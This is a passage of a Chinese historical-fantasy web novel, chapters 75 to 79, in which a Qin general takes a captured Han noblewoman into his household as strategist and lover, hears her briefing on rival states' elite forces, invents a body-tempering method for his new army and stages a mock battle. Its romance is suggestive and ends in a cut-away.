且这还是个阳谋。
如此攻势逼人,他若不去理会,反倒是弱了势头,被其占据了主动。
顺水推舟,又是正中下怀。
若是旁人也就罢了,但此女本钱雄厚,又果断且豁得出去。
投诚态度也很是诚恳,能力似乎也很不错。
“倒也不必。”
“那就先用一用你,是否重用,还要看你本事。”
断玉再次深深伏身一拜,“唯。”
其他美侍看得是目瞪口呆。
这操作实在是石破天惊。
本来剩下的路就不多了,最好走的那条,直接被断玉暴力堵死,同时,她甚至还兼任了最难走的那条——
以女子之身,行幕僚之事。
这些故韩贵女,多多少少都知道相府治国背后,有这位的影子。
更听说,韩国贵族公子之中,无数人对其神魂颠倒,将其唇下那一点朱砂痣称为勾魂砂。
然而这位从来深居简出,不与其他贵女往来。
如今一见,真是将这几个贵女惊得合不拢嘴。
待得赵诚看向她们,她们也已经说不出来什么更多的才能,便被赵诚派送给青鸾炊玉等人,打打下手,做些杂活去。
其实别说贵女们了,就算是青鸾等人,也没有见过这场面。
原本还以为这些故国贵女都是些中看不中用的矜持之辈,在这府上混不了两天就要沦为花瓶,或是纯粹的玩物。
但却没想到,里面突然出了个狠人。
一时间,就连青鸾等身怀绝技的美侍,都开始心生危机感。
断玉跪侍在一旁,曲线玲珑。
赵诚不看她,她也不以为意。
“朝雪,为我卸甲,我要沐浴更衣。”
“唯。”
朝雪上前之际,跪伏在一旁的断玉突然站起身来,“妾奴来吧,拜请主子给妾奴一次机会。”
赵诚眼眸之中,又是一阵惊涛骇浪。
真是步步紧逼,偏偏态度柔顺,他也无法斥责什么。
朝雪都有点忌惮断玉了,闻言看了看赵诚,于是后退了两步,任由断玉上前为赵诚卸甲。
断玉玉臂环胸而过,贴着赵诚的后背,解开甲胄。
一瞬间,感受到了这宝甲的沉重,不由得心中一惊。
好在她也修有食气之法,提了提气,轻松将甲胄卸去。
“备副常服。”
她轻声说着,声音柔柔的,却毋庸置疑。
朝雪立刻拿了大良造的常服来。
“将军,请随妾奴来。”
说着断玉已经是袅袅婷婷当先往浴室而去,赵诚看着她那绰约背影,愕然之际,真元继续下压。
“嗯……炊玉,你先去做点吃的来。”
“唯。”
炊玉领命而去,行走之间袅袅婷婷,仪态万方。
这些少女都是如此,立必正冠,行必曳裾,步摇寒玉,贵而不燥。
一举一动,哪怕只是动一根手指头,那都是赏心悦目的动作,绝无一丝一毫不雅之举。
出口也必是雅音,轻灵悦耳。
“其他人,就各自去忙吧。”
赵诚转身进入浴室。
朝雪则是开始整理寝居内务,将寝居之中归置安放得清爽敞亮,并摆上了盆栽字画,一切的安排看起来都是自然而舒心。
清商奏起了筝。
流萤跳起了舞。
莳薇裁枝弄花。
素檀整理案头。
但每个人都心不在焉,竖着耳朵听的时候。
浴室之中隐有新贵大良造的声音传来。
“咦?你这是什么行为?”
“主子,妾奴曾听侍女说,这样浴洗最为干净。”
“那你也进来又是做什么,你等会……”
第76章 美人腰,杀人刀!欺人太甚,忍无可忍!
大良造寝居之侧,设有宽敞浴室。
浴室之中陈设一应俱全,最为显眼的,当属靠在西侧的巨大青铜浴缸,浴缸错金镶玉,称为青铜鉴。
整体呈侈口、深腹、圈足形制。
鉴身外壁铸有三层纹饰,上层为蟠螭纹,龙首交缠,间以云雷纹填底。
中层为窃曲纹,线条流畅如环。
下层为垂叶纹,内填简化兽面。
鉴内底部刻有“大良造赵诚之浴器”的铭文,彰显身份。
此物为了迎合赵诚的雄武身躯,刻意改建的极为宽敞庞大,如其人般霸烈。
浴盆旁置青铜漏勺,勺柄铸有虎首吞刃纹,用于舀水或去浮沫。
而在上方,则有一条青铜管道连接到一侧的庖厨,寒冬之时,庖厨日夜不停火,确保每时每刻都有热水可用。
赵诚在断玉的服侍下褪去衣物,顶天立地一般的雄武身躯现于浴室之中。
浑身肌肉块垒层层,肩宽背阔,猿臂蜂腰,好似精钢雕铸。
那流畅的线条,没有一处不是完美的黄金比例。
整个人透着无边的阳刚霸烈,再结合那英武至极的面容,看得断玉一阵脸红心跳。
眼前这位上将军,不过是个少年,却已经有了大良造的军功爵位,然而这还不是他的尽头。
以秦国的虎狼之势,势必要吞并六国。
当此之际,这少年大良造神威无边,锐不可当。
更将亲率大秦最强军队血衣军东出,大良造必然不是他的终点,而是他的起点。
到底去哪里找这样的主子呢?
曾身处故韩,用尽一身权谋,尚且感到无力回天的断玉,受够了束手束脚,一身才能无处施展的无力。
眼前新主,品貌双绝,神威盖世。
被她抓住了哪里有放过的道理。
而且,她也曾多次调查赵诚。
她深知赵诚在入伍之前,不过秦国边郡一名小农,穷乡僻壤之地,哪里见过什么美女,更未曾尝过某种滋味。
偏巧,如今她流落秦国,沦为侍人,除了一身权谋之外,只有这守节如玉多年的有用之身,才是她最利的武器。
多年来,韩国贵族公子趋之若鹜,她从未正眼看过任何一个人。
甚至于,故韩上下,也无一人能入她的眼。
但得如今,时机已至。
美人腰,杀人刀。
偏偏她这把刀极为锋利。
今日,就要用这把玉刀,狠狠拿下这个新主子!
此后,这爵府之内,什么青鸾朝雪之流,哪有她一合之敌?
“主子,水好了,入鉴吧。”
赵诚压下气血,身体太好也有些烦恼,气血实在太充足了。
他转过身来,却见断玉已经披上了一层薄薄的浴服,雪光若隐若现,比之前更加诱人!
好似天雷勾动地火,赵诚顿时察觉不妙,立刻动身坐进浴盆。
但是某些端倪已经被断玉尽收眼底,绛红朱唇勾起一丝小狐狸得逞般的笑意。
真是妖精!
赵诚啊赵诚,破军杀将尚且不能动摇你分毫,岂可跌在这里?
绝不可中她下怀,让她明白谁才是主子。
他淡然道,“怎么穿成这样?”
断玉玉手拿起浴花,擦在赵诚的背上,“回主子话,侍奉浴洗都是如此穿的。”
赵诚无言。
可恶,欺负我没被人侍奉过浴洗。
哼,区区浴服,有何惧焉?
由她就是!
断玉暗笑,擦洗之间,愈发靠近。
轻纱制就得浴服搭在赵诚的虎肩上,顺滑而下,沾湿少许。
发丝也随之划过赵诚的脖颈,温热的气息不经意吹拂在耳朵上。
赵诚突然感觉,这水是越来越热了。
断玉衣衫渐湿透,见赵诚始终不敢回头,她也不急。
“主子,背后擦洗干净了。”
赵诚淡淡“嗯”了一声。
见他没有动作,断玉狡黠一笑,伏上身去,双手越过赵诚肩头,为赵诚擦洗前身。
如此一来,赵诚身后突然一片清凉,如同软玉覆盖在背颈之上。
赵诚一阵心惊肉跳。
可恶,就拿这个考验干部!?
“你这是什么手法?”
“主子,妾奴曾听侍女说,这样浴洗最为干净。”
“这样,嗯……”
问题不大,还能接受。
如今好歹也是大良造了,贵族的生活总要成为常态。
正想着,断玉突兀的转到了正面,片片湿透的轻纱浴袍,顺着惊人弧度柔顺垂落而下。
赵诚与之对视,瞬间呼吸一促。
“你……”
却见她那冰髓般的玉腿突然踏入浴盆,随后断玉整个也缓缓没入浴盆,贴在赵诚与浴盆的中间坐下。
她摄人心魄的眸子盯住赵诚,朱唇含笑,玉手探出,顺着赵诚胸腹擦洗而下。
“你也进来做甚,你等会……”
简直欺人太甚!
真是忍无可忍!
……
水声潺潺。
水声澜澜。
水声哗哗。
水声突然消失,脚步声沉沉踏入燕寝……
前堂之中,十来名美侍各自做着各自的事情,却竖着耳朵听着。
听着听着,脸色逐渐古怪起来。
玉面染上红霞之际。
数名故韩贵女更是埋着头,鹌鹑似的躲了出去。
庖厨之中,渐渐飘出香气,弥漫了整个院落。
花苑之中,也种植好了各式奇花异草,排布的有一种玄妙的美感,却又有着符合赵诚的大气格局。
一看就不是为了一些贵女种的,而是为了男子而种,即使是不懂花的人来到此处,都能够停驻不前,欣赏许久。
房间之中井井有条,各个美侍都已经整理好了一切。
炊玉做的饭菜糕点凉了,便去扔掉,重新制作。
如是往复,直至入夜。
继续往复,直至天明。
众女端立在外,端庄仪态丝毫不变。
那些故韩贵女有点熬不住了,但见到她们都是如此,只能咬牙苦撑。
同时又是心惊胆战,心中祈祷断玉要坚持住。
终于,里面没了声音。
不多时,赵诚大踏步走了出来,朝雪红着脸迎了上去。
备好了一系列梳洗用物,为赵诚梳洗更衣。
那早就备好的大良造常服终于算是穿上了,确实比铠甲要舒适得多。
炊玉则是侍奉着赵诚吃早餐。
赵诚尝了口,顿时满口留香,回味不绝,不由有些惊讶。
“咦?这是昨天做的那些?”
炊玉答道,“回主子,这些都是刚刚做好的早饭,昨天做的已经倒掉了。”
赵诚顿时心疼不已。
暴殄天物。
他曾为一株粟苗而心疼,更何况这些金贵食材,又经过炊玉烹饪的顶级美食?
就这一份糕点,放在外面,恐怕也是万金难求。
竟然全部倒掉了?
青鸾察觉到赵诚的疑惑,“爵爷,炊玉要确保每一份饭菜,到爵爷面前,都是刚出锅的,这样才能最大程度保证菜肴的美味。”
“昨日至今,炊玉姐姐一直都在烹饪,确保爵爷能够第一时间吃到口味最佳的菜肴。”
赵诚摆了摆手,“此制不可取,以后就废除了。”
“若是我没有吃,也不要倒掉,你们吃就是了,不可浪费掉。”
炊玉连忙行礼说道,“这些食材,都是为大良造准备的,妾奴们是没有资格吃的。”
赵诚无语,“听我的就是。”
“唯。”
有故韩贵女咽了咽口水,眸中闪过感激之色。
自昨夜闻着炊玉做出菜肴的香味,她们已经能够体会到炊玉的手艺如何高超。
就算是从前,这种菜肴尚且会被她们钟爱,更何况如今沦为侍人,多日没有吃过什么美味的菜肴了。
燕寝之中。
浑身无力昏睡之间的断玉睁开眼睛,勉力爬起,将染了落红的手帕收起。
看着一片狼藉,她心中微微震颤着。
果真体魄如龙!
幸好修炼有食气之法,不然真是麻烦了。
不过现在只是踏出了第一步,还不能松懈。
她整理好衣服妆容,又拖着无力的身体收拾了房间。
……
赵诚吃着饭,想了想,“朝雪,中午之后,再整理燕寝吧。”
“唯。”
“不用了爵爷,断玉已经整理好了。”
朝雪行礼话音落下之际。
断玉的声音从里间传来。
赵诚回头看去,却见断玉踏步而出,脸色有些苍白,但妆容依然精致。
身着一身紫色锦袍,丹凤眼含笑,行走之间依然带着三份压迫感和贵气,袅袅婷婷,却也能看出勉力压制的无力。
“爵爷,妾奴还有事情要交代。”
赵诚看了看周围依然端立候命的众女,挥了挥手,“也守了一夜了,都散了吧。”
“唯。”
众人事务都做完了,此时赵诚梳洗了,也吃饭了,她们自然也就无事要做,于是各自去吃饭休息。
断玉端立在一旁,突然跪伏行礼,“妾奴恩谢爵爷怜惜。”
食髓知味,断玉掌控故韩上下情报,见多了上位之后荒淫无度之人。
赵诚面对自己,且是第一次,还能及时收手。
更是命令朝雪中午再收拾燕寝,为她留了体面,也让她多休息。
断玉自是感恩的。
“不必多言,你有什么事情要交代?”
“是关于玉衡楼,也就是妾奴手下的情报组织,韩灭之后,这些暗子都隐藏在故韩之地,等候妾奴传令。”
“妾奴想问爵爷,是否要将他们利用起来,散在秦国各地,用以收集情报?”
赵诚想了想,摇了摇头。
“只散在秦国各地没什么意思,既是情报组织,应当分布各国,你可能做到?”
第77章 玉衡楼主,六国秘士,创造炼体功!
“主上之心念所及,妾身靡不承命”
断玉起身,来到窗前,几声呼哨之后,一只鹰隼飞落而下,她将小帛书信拿出,又以手上玉戒指印上玉衡令。
再将书信缠在鹰隼的爪腕上,将其放飞了出去。
“玉衡楼成员共计三百名,能人只有三十六名,我已让这三十六名星主赶赴咸阳。”
赵诚点了点头,又问道,“这三十六名都是方士?”
断玉说道,“一大半都是,剩下的一些,也是身怀绝技,会些易容术,或者擅长追踪,潜伏之类。”
赵诚想了想,如果是这样的话,这些人可以作为血衣军的情报来源。
“六国的情报,你掌握有多少?”
断玉说道,“不是很多,但也有一些关键的信息。”
“说来听听。”
“爵爷想要知道哪些方面的?”
“国家顶尖战力,和方士战力。”
断玉站在赵诚身后,一边以玉手给赵诚捏肩,一边静静说着。
“国家顶尖战力方面,如秦国黑冰台和铁鹰锐士这等,各国都有。”
“先说近的。”
“楚国的巫祝玄坛,影响力最为广泛,人数也是最多,但是良莠不齐,里面有很多擅长理论和信仰传播的巫祝。”
“但也有许多极其擅长阴阳术和卜算术的巫祝隐藏在其中。”
“这些巫祝遍布六国,秦国之中也是非常之多。”
“而楚地核心秘士,大多来自于荆山观氏,善蛊毒招魂幻术占卜。”
“军队则是有赤豹锐士。”
“取《楚辞?山鬼》乘赤豹兮从文狸之意,遴选能在云梦泽沼泽地负重疾行的洞庭猎户。
由他们驯化南楚黑豹,喂以含磷矿石,夜间双目赤红如炬,奔袭如电,来去如风,且各个经过巫祝赐福,身怀神力,不知疼痛。”
“魏国秘士则是有西河学宫,选拔精通墨子机关术的士子,浑身上下都是机关暗器,且善墨家剑法,以机关术传递情报,旁人很难截取。
若是追踪他们,往往会中了他们的层层陷阱埋伏,死无葬身之地。”
“魏国军队有魏武苍头,士兵皆涂黑齿,着吸光苍兕甲,擅长夜战,攀爬,穿越诡异地形,防不胜防,被称为鬼军。”
说到这里,赵诚按住了断玉捏肩的手,拉着她到桌前坐下。
“边吃边说。”
断玉一笑,百媚横生。
她自然坐下,一边优雅吃着,一边继续介绍各国战力。
“再说赵国,有阴山谍府秘士,和风马骑兵。”
“赵国的秘士称为胡笳,他们吸收了匈奴的萨满咒术,结合阴符经,构建出了一种特有的萨满术。”
“能够通过特定的咒音,呼风唤雨,沟通野兽,以及施展幻术。”
“风马骑兵脱胎于赵惠文王的宿卫骑兵,精选能在马背连续作战三日的代地骑士,战马披错银鳞甲,亦是来去如风,以风驰三射驰名。”
“燕国有易水寒,其中秘士称为寒蝉,所谓冬蝉不鸣,鸣则裂冰。”
“这里面的大部分人都是从生于燕山雪谷的幼童中选拔出来的,修炼的是易水寒中特有的寒蝉诀,内息至寒,善匕首短剑,潜伏刺杀。”
“为达目标,可以潜伏在冰天雪地之中,三天三夜不吃不喝。”
“燕国最强的军队,应该叫做饮冰,脱胎于燕昭王的辽东戍卒,能在至寒之地徒步百里作战。”
“说起来,爵爷在殿前击杀的那个醉鬼,就是从燕国来的,此人号称醉屠子,杀了燕国贵族之后,被寒蝉追杀,一路上又灭杀了三队寒蝉,逃离到了秦国。”
“齐国有两股方士势力,一者是稷下学宫,一者是海客。”
“稷下学宫之中,有许多传承黄老之学的食气方士,而海客,则是利来利往,耳目遍天下的商贾情报组织。”
“这些海客精通九府圜法,能够从各国钱币磨损程度分析地域经济情报,并在诸国行商过程中收集情报,从四通八达的商路传递情报……”
听着断玉的讲述,赵诚发现这家伙简直就是女版的百晓生,对于各国的情况都知道的不少。
要之多,诸国的秘士组织都是非常隐秘的存在,就连一些本国职位比较低的官员都知道的不多。
但是断玉身在故韩,却可以将这些信息都掌握在手中,这已经足以看出了她的能力。
赵诚想了想,又问道,“陛下命我建立血衣军,我打算在军中推行炼体的功法,再以增强体质的药物辅助。”
“只是现在没有合适的功法,我打算亲自创造一部出来,所以需要一些炼体功法作为参考。”
断玉看着赵诚,却是灿然一笑,“这个简单,我手上就有五部炼体的功夫,还有两部食气之法。”
“都交给爵爷就是。”
如此一来,赵诚是真的有点惊讶了。
据他所知,这种炼体功法莫不是家族传承,亦或者是某方势力的秘法。
食气之法更是难得。
断玉却如此爽快的就要拿出来交给他。
却听断玉说道,“爵爷,所谓权谋之术,最核心也最上等的东西,就是以诚待人。”
“当然,以诚待人是要讲究时机的,关键不在于诚,而在于人。”
“爵爷杀敌酷烈,但对待自己人,却是重情重义。”
“妾奴这一生,或许只有这一次机会能够碰到爵爷这等人物,所以妾奴用的是最上等,却也是最简单的东西。”
“所以爵爷不必怀疑妾奴,妾奴把一切都交给你,就是要说,妾奴跟定你了。”
“爵爷想要什么,妾奴都愿意给。”
“妾奴现在就去写下这些功法,供爵爷参考。”
断玉去了赵诚的书房,不多时已经提着几篇布帛走了出来。
赵诚接过一看,这字迹竟如其人一般大气妩媚。
而那几篇炼体的功法倒是很好理解,因为赵诚本身炼体的造诣就达到了极致,一看之下,就能够了解其中的门道。
但那两篇食气之法,与他之前所知和所摸索的,完全不在一个方向上,一时半会还察觉不到其中关窍。
“你修的是哪一篇?”
“采青诀。”
赵诚点了点头,大手搭在断玉的肩膀上,真气向着里面探去。
他这一次不比对付雪幽他们那种粗暴的方式,反倒是轻柔多了,在断玉的体内游走了一圈,了解了个大概就退了出来。
断玉体内的天地元气生机勃勃,散发着浓郁的生命力,而且有股清新之意,风格偏向养生导引术。
但是她天生经脉通达,根骨极好,所以这种养生导引术,也能够修炼出不少元气来。
即使是军中的锐士,也未必能是她的对手。
“这采青诀,采的是万青生机之气,体悟的是参天大树长存天地的生机脉络。”
“妾奴修炼至今,感觉仍然只修炼到小半篇,采气实在是有些难了。”
赵诚想了想,直接从系统之中凝练了一枚聚元丹,递给断玉。
“这功法队伍有些用,这是赏你的。”
这丹药一落入断玉手中,便散发出一股清香,不同于食物,这种清香更偏向于对生命本源的吸引。
断玉打眼一看,就知道这是顶好的东西,当即就是跪伏拜谢,“谢爵爷恩赐。”
看着那曼妙玲珑的夸张曲线,赵诚回忆起了昨夜,于是扭开头去。
“你吃了这丹药,修行一阵,我一会还有要事要处理。”
“唯。”
赵诚大踏步出了寝居,来到正堂。
之前在战场上俘虏的家奴,如柴烈、雪幽等人,如今都随军一起来到了咸阳,论功赐爵之后,便被带到了这宅邸之中。
柴烈正无所事事地在演武场上练功,见了赵诚,连忙行礼。
“大良造。”
赵诚叫人唤了雪幽和封不救等人来,将自己要创造一门专用来练兵的炼体功法和药浴说了。
柴烈此时对赵诚已经是无比敬服,直接拿出了家传的炼体功法,只是请求赵诚创造出来之后,能够也传授给他一份。
雪幽如今对赵诚也算是百依百顺,接过家中来信之后,便再也没有了逃离的念头。
于是将自己所知的三部炼体功法也写了出来。
封不救精通神农术,又问了赵诚一些侧重点之后,便去研究药方去了。
赵诚拿着九部功法,以及两篇食气功法,回到了寝居书房之中。
命众人不得打扰之后,便花费一万年寿命,一口气凝练了十枚悟性丹,全部吞下之后,开始研习手中功法。
炼体功法并不算难,赵诚就算不吞下悟性丹,也能够在几日之内完全吃透。
如今吞了悟性丹,可以说是一目十行,瞬息领悟。
他迅速翻看着九篇炼体诀,没用多久,就全都入了门。
而后直接开始投入寿命,推演适合血衣军的炼体功。
【第一年,你以炼体大成的体魄修炼夯土功,短短十天,迅速突破小成之境,又一月,入大成,半年之后,夯土功大圆满,你感觉自身力量有所提升,对夯土功的了解也无比精深。
你觉得只是这门炼体之法本身就十分简单,非常适合士卒修炼,只是效率太低,还需要提升。】
【第二年,你修炼铁掌功,半年时间踏入圆满之境,将铁掌功之中的精华尽数提取。】
……
第78章 血衣军炼体功!铁鹰锐士战六千轻骑!
【第十年,你已经将九门炼体功法全部修炼到了大圆满,肉身只有少许提升,不过对于各种发力方式越发精通,你觉得是时候开始创造一门新的炼体功法了。】
……
【第十五年,你将九门功法中提取出来的精华部分熔炼为一体,但是其中许多地方相互冲突,只能不断删减,使其不断变得契合。】
……
【第二十七年,你创造出的炼体功法已经颇具雏形,此法修行起来极为痛苦艰难,非坚韧不拔者不能修炼,但其提升速度也是非常之快。
依你推断,普通材官只需要修行半年,就能够提升一半力量,但这还不够,你继续完善。】
……
【第三十五年,你创造出了一门完整的炼体功法,你将其称为血衣军炼体诀,此功法分为六卷,分别是炼血、炼肉、炼筋、炼骨、炼皮、炼脏!】
“这样一来,就算根骨相对来说比较差的,只要意志力足够强大,修炼这门功法就可以快速提升体魄,能够进入铁鹰锐士军的本来就都是坚韧不拔之辈,体魄也不会差到哪里去。”
“这门功法最是适合他们,随我作战的六千轻骑也可以获得此法进行修炼,这样才有许多人能够进入血衣军。”
毕竟是跟随他出生入死过的,赵诚也不想看到他们因为天赋限制,而无法进入血衣军。
“这门功法比基础炼体功要好入门的多了,添加了炼血这一关,只需要食物足够充足就可以快速提升。”
“唯一的缺憾是,强度上限,达不到基础炼体功那么高。”
经过赵诚的推演,发现炼体功法最先炼的应该是气血,气血越充足,体力越强,能够承担的训练也就越多,肌肉提升的速度也会越快。
可以说,炼血是炼肉的基础。
毕竟这些军士不像赵诚,可以直接投入寿命来磨时间,强行炼体。
所以炼血,就是第一步。
“六卷功法,之后就按照军功高低来进行赏赐。”
“但炼血之法可以普及传授,这东西炼了,就要用药材和食物来堆,不是血衣军,别人拿去了,也根本炼不起。”
血衣军作为秦王嬴政直接支持的军队,本身的粮草份额就很高。
再加上赵诚升职到了大良造之后,食邑三千户,兼收渔利,商贾路资,一年光是田赋就能够有两万两千多石。
户赋更是高达九十万钱。
这还不算上其他收入。
若是算上所有收入,一年的收入大概在一百八十万钱上下,折换成粟,相当于一年四万五千石!
这在当时,可以说是巨额财富。
普通庶民一整年的消费,也就是三十石粟。
而除此之外,还有之前嬴政罚没昌平君的封地赋税,清点之后会交到赵诚的手上。
这昌平君作为丞相,更是被封为君,其封地赋税甚至比赵诚还要高,多年积攒下来,封地之中的剩余粮赋恐怕已经是一个天文数字了。
等到这笔粮赋到了,赵诚足以用这一部分钱,养出一部古往今来都罕见的血衣军!
倒是忘了,还会有一股昌平君的属地私军锐士会被划拨给赵诚。
这一下,人也有了,钱也有了,差的也就只有从三军之中选拔锐士,填补血衣军了。
不过赵诚对于填补血衣军热情并不算很高。
还是那句话,他要领的兵,贵精不贵多。
想着,赵诚将炼血之法写了下来,而后出门离开宅邸。
没有着甲,依然是大良造常服,腰间挂着随印,由家奴赶着驷马轩车,向着城外而去。
一路之上,庶民跪伏避退。
守卫行礼相迎。
没多久,就到了城外细柳营。
细柳营屯兵都尉见到赵诚,立刻行礼肃拜,“都尉王离,参见上将军!”
昨日赵诚殿前斩丞相八百门客的事迹已经传遍了军中,至此军中对于赵诚的狂热又是上升了一个台阶。
秦军本就尚武,强者为尊,赵诚率八千轻骑,八日灭韩的事,已经让其威望如山。
如今又在殿前强势证明了实力,更是戟指相国,如此锋芒,如此神威,让其声名如日中天。
再加上他为牺牲的将士请命,亲自照顾所有人的遗属家眷,更是让所有将士们,都将这名少年将军当做了自己人。
如今大王命其建立血衣军,没有人不想要进入血衣军。
不说王离麾下屯练的那些中央军,就算是王离自己,也想要加入赵诚的血衣军。
“王都尉,我来看一看我的旧部,有东西要交给他们。”
“上将军随我来。”
“自昨日大王为上将军开设血衣军之后,细柳营之中的将士们都要疯了,之前逼着训练也只是堪堪达到标准,如今没有任何人逼迫,训练的强度却已经达到之前两倍有余……”
王离苦笑不已,带着赵诚来到大营正中,如今那六千轻骑正在这里练兵,一个个拼命极了。
军营之中的其他兵卒,也都咬牙跟在他们身后训练,自然也都是想要加入血衣军的。
冯全和封若带着人第一时间相迎。
“将军来了!”
“将军!何时开始选拔血衣锐士?吾请入血衣军!”
赵诚没有说话,看了看这些人,突然向着王离问道,“铁鹰锐士何在?”
“铁鹰锐士自昨夜就调到了棘门营,随时听候上将军命令。”
细柳营在正北,是秦国最早的京畿屯兵点之一。
此处地势平坦,便于骑兵集结,战时可快速驰援函谷关或武关。
而棘门营位于咸阳东北,是咸阳城的北门屏障。
秦国在此设冀阙——宫门双阙,驻军可监控北方匈奴和三晋方向的威胁。
相对来说,距离宫城更近一些,但如今赵诚在这里,自然要将他们调过来。
没过多久,三千铁鹰锐士齐至,入了大营,一眼看去便与寻常锐士大有不同!
各个精装彪悍,双眸似有寒光乍现。
为首之人身材魁梧如青铜铸像,肩宽可抵两卒,腰悬鹿皮剑穗的长剑,甲叶相撞带有金石之音。
古铜色面庞棱角分明,左颧一道三寸长的刀疤斜贯眉骨,一双虎目嵌在刀削般的眉骨下,披着鱼鳞重甲,甲胄缝隙间露出的小臂肌肉如老树根般盘结。
他目光如炬,抵达的瞬间,目光就锁定了身穿大良造爵服的威武少年,正巧那少年也望了过来。
两人对视的瞬间,章邯瞳孔一缩。
浑身生起一股至极的危险之感,好似有刀尖抵住了喉咙,又像是有锋芒刺在了瞳孔之上!
他心中惊异,率众上前。
“末将铁鹰锐士都尉章邯,参见上将军!”
赵诚挑了挑眉,“铁鹰锐士?”
章邯沉默一瞬,“血衣锐士都尉章邯,参见上将军!”
其身后诸多铁鹰锐士,面有不忿和失落。
铁鹰锐士存在多年,战功赫赫,用命打下许多声名,也曾立下不世之功。
这荣耀,也是他们的前辈和同袍用命换来的。
如今突然改铁鹰为血衣,他们心中自然不好受。
然而对于赵诚的实力和战功,他们却也无法不服,只能将这股失落埋在心里。
赵诚看着众人,都是上过战场,在鲜血与生死之中走过来的人,自然知道他们在想什么。
赵诚看着章邯,“你说,此军为何叫做血衣?”
章邯说道,“上将军以血屠阎罗之名震慑诸国,血衣军承血屠之志,血屠诸国,染尽敌血!”
赵诚等了等,“还有吗?”
章邯想了想,有些疑惑地道,“此名由来,不是陛下由此裁定的吗?”
赵诚点了点头,却又摇了摇头,“但血衣之名,不止如此。”
“岂曰无衣,与子同袍。”
“血染吾衣,与子同归。”
赵诚摊手甩开那份染血的名单。
“此血衣之上的姓名,皆是随本将作战,壮烈于沙场之上的战士,这血衣之名,将缝在血衣军军旗之上,军旗所指,英魂同在!”
六千轻骑浑身一震,怔怔地看着赵诚。
而章邯和其身后的铁鹰锐士们,则是面露复杂之色,眼神之中闪过羡慕。
赵诚则是继续说道,“铁鹰锐士既然改制成为血衣军,不论之前之后,所有将士都依此例。
你既为铁鹰都尉,就将曾为铁鹰战死沙场者的姓名都拿来,他们的遗属亲眷,亦会迁至我的封地,由我一力护之。”
“他们的姓名,也将与血衣军旗同在,英魂也将随我血衣军而战。”
“此后每一名进入血衣军的战士,都将对着这血衣军旗立誓!”
“承吾血衣之约,擎君未竟之戈!”
赵诚长眸一扫,环视铁鹰,“尔等可愿?”
诸君憾然视之,一时无言。
“不愿也无妨,本将自会请示大王,另立血衣军……”
“末将愿入血衣军,随将军踏灭诸国!”
章邯竟推金山倒玉柱般单膝跪地,行最重军礼而敬。
其身后铁鹰锐士皆是如此,敬如山倒。
“愿入血衣军,随将军踏灭诸国!”
作为铁鹰锐士,他们的待遇确实比寻常中央锐士还要好上许多,战死之后抚恤也会多很多。
但是战死之后,谁又会记得他们?
遗属家眷,又有谁来保护照料?
就算抚恤丰厚,家中孤儿寡母,如何能不担心?
可如今,血衣军会记得他们,即使战死,他们的姓名也会永存在军旗之上,他们的英魂也将继续随军征战。
每一个后来之士都将对着他们的血名发誓,承继他们的遗志,继续随将军征战四方。
而他们的遗属亲眷,更有将军亲自迁至封地保护,重点关照。
不止是他们,就算是那些曾战死沙场的前辈,也会名留军旗之上。
铁鹰虽然化作了血衣,但铁鹰之志,铁鹰之魂仍在,而且还是更好地存续下来。
遍观诸国,又有哪个将军能如此对待部下?
赵诚点了点头,“好,现在,列阵,与这六千轻骑对战!”
“不要留手,让本将看看你们的实力。”
“末将领命!”
章邯站起身来,其身后旧制铁鹰锐士纷纷站起身来,各个战意高昂。
而六千轻骑则是如临大敌,却也战意熊熊。
曾经的铁鹰锐士如何?
为了入将军的血衣军,拼了他们!
第79章 打出真火!形势比人强!
赵诚看向曾跟随自己冲杀作战的六千轻骑,“你们要入血衣军,就得拿出本事来。”
“今日六千战三千,可能胜乎?”
六千轻骑大吼着,“必胜!”
必胜才见鬼了,但赵诚要的就是这话。
他下令双方换成了木质武器,但这玩意打在身上那也是相当疼的。
随着他大手一挥,双方列阵轰然对撞。
一时之间,人影翻飞!
铁鹰锐士不愧是秦国的王牌特种,一个照面,就将六千锐卒冲撞的势头一顿。
不断有轻骑锐卒倒下,甚至被击飞出去。
只是几个眨眼的功夫,六千轻骑锐卒就明显感受到了铁鹰锐士的权威。
这些人是真他娘的变态啊,一个个力大如牛不说,而且武艺精湛,就算拿的是木剑,那也是无懈可击,而且攻势异常凌厉,往往他们还没有反应过来的时候,对方的木剑就已经划在了自己的脖子上。
就算是再不甘心,他们也不能丢了将军的脸面去耍赖,所以被划了脖子的就自动退出战场。
而随着时间推移,铁鹰锐士的胜势渐渐显露,他们力大如牛,体力超群,武艺不凡,各方面的素质都更胜多筹。
但这些随赵诚一路打过来的轻骑锐卒也像是发了疯一样,为了不给赵诚丢脸,那是各个拼命。
如狼似虎。
即使在如此劣势之下,军气不但没有衰退,反而愈战愈勇,让铁鹰锐士们也都是阵阵心惊。
若是往常,他们面对如此强度的锐卒,可以轻松击败。
但是如今,竟然硬是被对方凶狠的势头阻碍住了,一时间伤亡竟然不小。
轻骑锐卒败了两千,而铁鹰锐士竟然也被拼掉了五百。
那章邯更是勇武无比,手上拿的是一根长棍,一扫下去,就是一大片横飞。
亦有万夫莫敌之勇!
赵诚见状,自然不能让他干扰对战。
于是飞身而入,如入无人之境,
在章邯刚刚冲阵两回合的时候,赵诚便已至,一把抓住了章邯的脖颈。
“何人偷袭?”
章邯受惊,浑身爆发巨力下意识反抗,同时一拳砸向身后。
嘭!
然而赵诚只是轻轻一按,他那铁塔般的身体就被压了下去,青铜柱一般的脊梁瞬间压弯,所有挣扎都好似泥牛入海。
“将……将军?”
感受着那无边无际的力量,好似大山一般巍然,章邯心头巨震。
他能领铁鹰锐士,那绝对是有本事的,三军之中,单独作战能胜他者寥寥无几,就算有,那也是身居高位的大将。
可就算是那几个,他也有挣扎之力,至少能周旋许多回合。
哪像现在,一大巴掌压下来,动都动弹不得。
简直不是人!
“你一都尉在里面搅合什么?”
赵诚轻松将章邯从阵中揪了出来,魁梧巨大的身躯,竟被赵诚单手提着,像是小鸡一样扔了出来。
章邯骇然间也有点不好意思,“这不是想着在将军面前展示一下末将的实力嘛。”
赵诚拍了拍他的肩,令其虎躯阵阵颤动,“可以了,随本将观战吧。”
战况逐渐白热化,其中轻骑锐卒越发拼命,咬牙死战不退。
而铁鹰锐士们被拼掉了许多,感到很没有面子,也是打出了火气。
人影横飞半晌。
六千锐卒终于是全部倒下。
而铁鹰锐士则是还剩一千三百有余。
就是如此,众铁鹰锐士尚且觉得极其没有面子,一个个不好意思回头去看赵诚。
“若是……若是真刀真枪地干,肯定不至于……如此。”
而六千锐卒也是臊眉耷眼,感觉落了将军的威风,一个个也羞愧不已。
